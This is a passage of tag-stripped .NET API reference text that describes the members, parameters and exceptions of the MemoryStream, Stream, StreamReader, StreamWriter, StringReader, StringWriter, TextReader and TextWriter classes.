class based on the specified region of a byte array, with the property set as specified, and the ability to call set as specified. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + true to enable , which returns the unsigned byte array from which the stream was created; otherwise, false. + + is null. + + or is negative. + The buffer length minus is less than . + + + Initializes a new instance of the class with an expandable capacity initialized as specified. + The initial size of the internal array in bytes. + + is negative. + + + Gets a value indicating whether the current stream supports reading. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports seeking. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 2 + + + Gets or sets the number of bytes allocated for this stream. + The length of the usable portion of the buffer for the stream. + A capacity is set that is negative or less than the current length of the stream. + The current stream is closed. + set is invoked on a stream whose capacity cannot be modified. + 2 + + + Asynchronously reads all the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. + The token to monitor for cancellation requests. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Overrides the method so that no action is performed. + 2 + + + Asynchronously clears all buffers for this stream, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. + The stream has been disposed. + + + Gets the length of the stream in bytes. + The length of the stream in bytes. + The stream is closed. + 2 + + + Gets or sets the current position within the stream. + The current position within the stream. + The position is set to a negative value or a value greater than . + The stream is closed. + 2 + + + Reads a block of bytes from the current stream and writes the data to a buffer. + The total number of bytes written into the buffer. This can be less than the number of bytes requested if that number of bytes are not currently available, or zero if the end of the stream is reached before any bytes are read. + When this method returns, contains the specified byte array with the values between and ( + - 1) replaced by the characters read from the current stream. + The zero-based byte offset in at which to begin storing data from the current stream. + The maximum number of bytes to read. + + is null. + + or is negative. + + subtracted from the buffer length is less than . + The current stream instance is closed. + 2 + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the current stream. + The byte cast to a , or -1 if the end of the stream has been reached. + The current stream instance is closed. + 2 + + + Sets the position within the current stream to the specified value. + The new position within the stream, calculated by combining the initial reference point and the offset. + The new position within the stream. This is relative to the parameter, and can be positive or negative. + A value of type , which acts as the seek reference point. + Seeking is attempted before the beginning of the stream. + + is greater than . + There is an invalid . -or- caused an arithmetic overflow. + The current stream instance is closed. + 2 + + + Sets the length of the current stream to the specified value. + The value at which to set the length. + The current stream is not resizable and is larger than the current capacity.-or- The current stream does not support writing. + + is negative or is greater than the maximum length of the , where the maximum length is( - origin), and origin is the index into the underlying buffer at which the stream starts. + 2 + + + Writes the stream contents to a byte array, regardless of the property. + A new byte array. + 2 + + + Returns the array of unsigned bytes from which this stream was created. The return value indicates whether the conversion succeeded. + true if the conversion was successful; otherwise, false. + The byte array segment from which this stream was created. + + + Writes a block of bytes to the current stream using data read from a buffer. + The buffer to write data from. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The maximum number of bytes to write. + + is null. + The stream does not support writing. For additional information see .-or- The current position is closer than bytes to the end of the stream, and the capacity cannot be modified. + + subtracted from the buffer length is less than . + + or are negative. + An I/O error occurs. + The current stream instance is closed. + 2 + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current stream at the current position. + The byte to write. + The stream does not support writing. For additional information see .-or- The current position is at the end of the stream, and the capacity cannot be modified. + The current stream is closed. + 2 + + + Writes the entire contents of this memory stream to another stream. + The stream to write this memory stream to. + + is null. + The current or target stream is closed. + 2 + + + Specifies the position in a stream to use for seeking. + 2 + + + Specifies the beginning of a stream. + + + Specifies the current position within a stream. + + + Specifies the end of a stream. + + + Provides a generic view of a sequence of bytes. This is an abstract class.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class. + + + When overridden in a derived class, gets a value indicating whether the current stream supports reading. + true if the stream supports reading; otherwise, false. + 1 + + + When overridden in a derived class, gets a value indicating whether the current stream supports seeking. + true if the stream supports seeking; otherwise, false. + 1 + + + Gets a value that determines whether the current stream can time out. + A value that determines whether the current stream can time out. + 2 + + + When overridden in a derived class, gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 1 + + + Reads the bytes from the current stream and writes them to another stream. + The stream to which the contents of the current stream will be copied. + + is null. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + The stream to which the contents of the current stream will be copied. + The size of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Asynchronously reads the bytes from the current stream and writes them to another stream. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + + is null. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + The token to monitor for cancellation requests. The default value is . + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases all resources used by the . + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, clears all buffers for this stream and causes any buffered data to be written to the underlying device. + An I/O error occurs. + 2 + + + Asynchronously clears all buffers for this stream and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Asynchronously clears all buffers for this stream, causes any buffered data to be written to the underlying device, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. The default value is . + The stream has been disposed. + + + When overridden in a derived class, gets the length in bytes of the stream. + A long value representing the length of the stream in bytes. + A class derived from Stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + A Stream with no backing store. + 1 + + + When overridden in a derived class, gets or sets the position within the current stream. + The current position within the stream. + An I/O error occurs. + The stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not currently available, or zero (0) if the end of the stream has been reached. + An array of bytes. When this method returns, the buffer contains the specified byte array with the values between and ( + - 1) replaced by the bytes read from the current source. + The zero-based byte offset in at which to begin storing the data read from the current stream. + The maximum number of bytes to be read from the current stream. + The sum of and is larger than the buffer length. + + is null. + + or is negative. + An I/O error occurs. + The stream does not support reading. + Methods were called after the stream was closed. + 1 + + + Asynchronously reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the stream and advances the position within the stream by one byte, or returns -1 if at the end of the stream. + The unsigned byte cast to an Int32, or -1 if at the end of the stream. + The stream does not support reading. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to read before timing out. + A value, in miliseconds, that determines how long the stream will attempt to read before timing out. + The method always throws an . + 2 + + + When overridden in a derived class, sets the position within the current stream. + The new position within the current stream. + A byte offset relative to the parameter. + A value of type indicating the reference point used to obtain the new position. + An I/O error occurs. + The stream does not support seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, sets the length of the current stream. + The desired length of the current stream in bytes. + An I/O error occurs. + The stream does not support both writing and seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 2 + + + When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + An array of bytes. This method copies bytes from to the current stream. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The number of bytes to be written to the current stream. + The sum of  and  is greater than the buffer length. + + is null. + + or  is negative. + An I/O error occured, such as the specified file cannot be found. + The stream does not support writing. + + was called after the stream was closed. + 1 + + + Asynchronously writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current position in the stream and advances the position within the stream by one byte. + The byte to write to the stream. + An I/O error occurs. + The stream does not support writing, or the stream is already closed. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to write before timing out. + A value, in miliseconds, that determines how long the stream will attempt to write before timing out. + The method always throws an . + 2 + + + Implements a that reads characters from a byte stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream. + The stream to be read. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified byte order mark detection option. + The stream to be read. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding. + The stream to be read. + The character encoding to use. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding and byte order mark detection option. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding, byte order mark detection option, and buffer size. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + The minimum buffer size. + The stream does not support reading. + + or is null. + + is less than or equal to zero. + + + Initializes a new instance of the class for the specified stream based on the specified character encoding, byte order mark detection option, and buffer size, and optionally leaves the stream open. + The stream to read. + The character encoding to use. + true to look for byte order marks at the beginning of the file; otherwise, false. + The minimum buffer size. + true to leave the stream open after the object is disposed; otherwise, false. + + + Returns the underlying stream. + The underlying stream. + 2 + + + Gets the current character encoding that the current object is using. + The current character encoding used by the current reader. The value can be different after the first call to any method of , since encoding autodetection is not done until the first call to a method. + 2 + + + Clears the internal buffer. + 2 + + + Closes the underlying stream, releases the unmanaged resources used by the , and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets a value that indicates whether the current stream position is at the end of the stream. + true if the current stream position is at the end of the stream; otherwise false. + The underlying stream has been disposed. + 1 + + + A object around an empty stream. + 1 + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if there are no characters to be read or if the stream does not support seeking. + An I/O error occurs. + 1 + + + Reads the next character from the input stream and advances the character position by one character. + The next character from the input stream represented as an object, or -1 if no more characters are available. + An I/O error occurs. + 1 + + + Reads a specified maximum of characters from the current stream into a buffer, beginning at the specified index. + The number of characters that have been read, or 0 if at the end of the stream and no data was read. The number will be less than or equal to the parameter, depending on whether the data is available within the stream. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The index of at which to begin writing. + The maximum number of characters to read. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs, such as the stream is closed. + 1 + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current stream and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurred. + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current stream and returns the data as a string. + The next line from the input stream, or null if the end of the input stream is reached. + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads a line of characters asynchronously from the current stream and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the stream, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the stream. + The rest of the stream as a string, from the current position to the end. If the current position is at the end of the stream, returns an empty string (""). + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads all characters from the current position to the end of the stream asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the stream. + The number of characters is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing characters to a stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream by using UTF-8 encoding and the default buffer size. + The stream to write to. + + is not writable. + + is null. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and the default buffer size. + The stream to write to. + The character encoding to use. + + or is null. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + + or is null. + + is negative. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size, and optionally leaves the stream open. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + true to leave the stream open after the object is disposed; otherwise, false. + + or is null. + + is negative. + + is not writable. + + + Gets or sets a value indicating whether the will flush its buffer to the underlying stream after every call to . + true to force to flush its buffer; otherwise, false. + 1 + + + Gets the underlying stream that interfaces with a backing store. + The stream this StreamWriter is writing to. + 2 + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + The current encoding does not support displaying half of a Unicode surrogate pair. + + + Gets the in which the output is written. + The specified in the constructor for the current instance, or if an encoding was not specified. + 2 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying stream. + The current writer is closed. + An I/O error has occurred. + The current encoding does not support displaying half of a Unicode surrogate pair. + 1 + + + Clears all buffers for this stream asynchronously and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Provides a StreamWriter with no backing store that can be written to, but not read from. + 1 + + + Writes a character to the stream. + The character to write to the stream. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a character array to the stream. + A character array containing the data to write. If is null, nothing is written. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a subarray of characters to the stream. + A character array that contains the data to write. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The buffer length minus is less than . + + or is negative. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a string to the stream. + The string to write to the stream. If is null, nothing is written. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + An I/O error occurs. + 1 + + + Writes a character to the stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the stream asynchronously. + A task that represents the asynchronous write operation. + A character array that contains the data to write. + The character position in the buffer at which to begin reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string to the stream asynchronously. + A task that represents the asynchronous write operation. + The string to write to the stream. If is null, nothing is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Implements a that reads from a string. + 2 + + + Initializes a new instance of the class that reads from the specified string. + The string to which the should be initialized. + The parameter is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + The current reader is closed. + 2 + + + Reads the next character from the input string and advances the character position by one character. + The next character from the underlying string, or -1 if no more characters are available. + The current reader is closed. + 2 + + + Reads a block of characters from the input string and advances the character position by . + The total number of characters read into the buffer. This can be less than the number of characters requested if that many characters are not currently available, or zero if the end of the underlying string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The starting index in the buffer. + The number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The current reader is closed. + 2 + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current string and returns the data as a string. + The next line from the current string, or null if the end of the string is reached. + The current reader is closed. + There is insufficient memory to allocate a buffer for the returned string. + 2 + + + Reads a line of characters asynchronously from the current string and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the string reader, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the string and returns them as a single string. + The content from the current position to the end of the underlying string. + There is insufficient memory to allocate a buffer for the returned string. + The current reader is closed. + 2 + + + Reads all characters from the current position to the end of the string asynchronously and returns them as a single string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the string. + The number of characters is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing information to a string. The information is stored in an underlying . + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format control. + An object that controls formatting. + + + Initializes a new instance of the class that writes to the specified . + The StringBuilder to write to. + + is null. + + + Initializes a new instance of the class that writes to the specified and has the specified format provider. + The StringBuilder to write to. + An object that controls formatting. + + is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets the in which the output is written. + The Encoding in which the output is written. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + + + Returns the underlying . + The underlying StringBuilder. + 2 + + + Returns a string containing the characters written to the current StringWriter so far. + The string containing the characters written to the current StringWriter. + 2 + + + Writes a character to the string. + The character to write. + The writer is closed. + 2 + + + Writes a subarray of characters to the string. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + + or is negative. + ( + )> . Length. + The writer is closed. + 2 + + + Writes a string to the current string. + The string to write. + The writer is closed. + 2 + + + Writes a character to the string asynchronously. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the string asynchronously. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string to the current string asynchronously. + A task that represents the asynchronous write operation. + The string to write. If is null, nothing is written to the text stream. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character to write to the string. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the string. + A task that represents the asynchronous write operation. + The character array to write data from. + The position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the current string. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The string writer is disposed. + The string writer is currently in use by a previous write operation. + + + Represents a reader that can read a sequential series of characters. + 2 + + + Initializes a new instance of the class. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Provides a TextReader with no data to read from. + 1 + + + Reads the next character without changing the state of the reader or the character source. Returns the next available character without actually reading it from the reader. + An integer representing the next character to be read, or -1 if no more characters are available or the reader does not support seeking. + The is closed. + An I/O error occurs. + 1 + + + Reads the next character from the text reader and advances the character position by one character. + The next character from the text reader, or -1 if no more characters are available. The default implementation returns -1. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether the data is available within the reader. This method returns 0 (zero) if it is called when no more characters are left to read. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the reader is reached before the specified number of characters is read into the buffer, the method returns. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 1 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current text reader and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, this parameter contains the specified character array with the values between and ( + -1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurs. + 2 + + + Reads a specified maximum number of characters from the current text reader asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the text has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the text is reached before the specified number of characters is read into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the text reader and returns the data as a string. + The next line from the reader, or null if all characters have been read. + An I/O error occurs. + There is insufficient memory to allocate a buffer for the returned string. + The is closed. + The number of characters in the next line is larger than + 1 + + + Reads a line of characters asynchronously and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the text reader, or is null if all of the characters have been read. + The number of characters in the next line is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the text reader and returns them as one string. + A string that contains all characters from the current position to the end of the text reader. + An I/O error occurs. + The is closed. + There is insufficient memory to allocate a buffer for the returned string. + The number of characters in the next line is larger than + 1 + + + Reads all characters from the current position to the end of the text reader asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the text reader. + The number of characters is larger than . + The text reader has been disposed. + The reader is currently in use by a previous read operation. + + + Represents a writer that can write a sequential series of characters. This class is abstract. + 2 + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with the specified format provider. + An object that controls formatting. + + + Stores the newline characters used for this TextWriter. + + + Releases all resources used by the object. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, returns the character encoding in which the output is written. + The character encoding in which the output is written. + 1 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Asynchronously clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The text writer is disposed. + The writer is currently in use by a previous write operation. + + + Gets an object that controls formatting. + An object for a specific culture, or the formatting of the current culture if no other culture is specified. + 2 + + + Gets or sets the line terminator string used by the current TextWriter. + The line terminator string for the current TextWriter. + 2 + + + Provides a TextWriter with no backing store that can be written to, but not read from. + 1 + + + Writes the text representation of a Boolean value to the text string or stream. + The Boolean value to write. + The is closed. + An I/O error occurs. + 1 + + + Writes a character to the text string or stream. + The character to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a character array to the text string or stream. + The character array to write to the text stream. + The is closed. + An I/O error occurs. + 1 + + + Writes a subarray of characters to the text string or stream. + The character array to write data from. + The character position in the buffer at which to start retrieving data. + The number of characters to write. + The buffer length minus is less than . + The parameter is null. + + or is negative. + The is closed. + An I/O error occurs. + 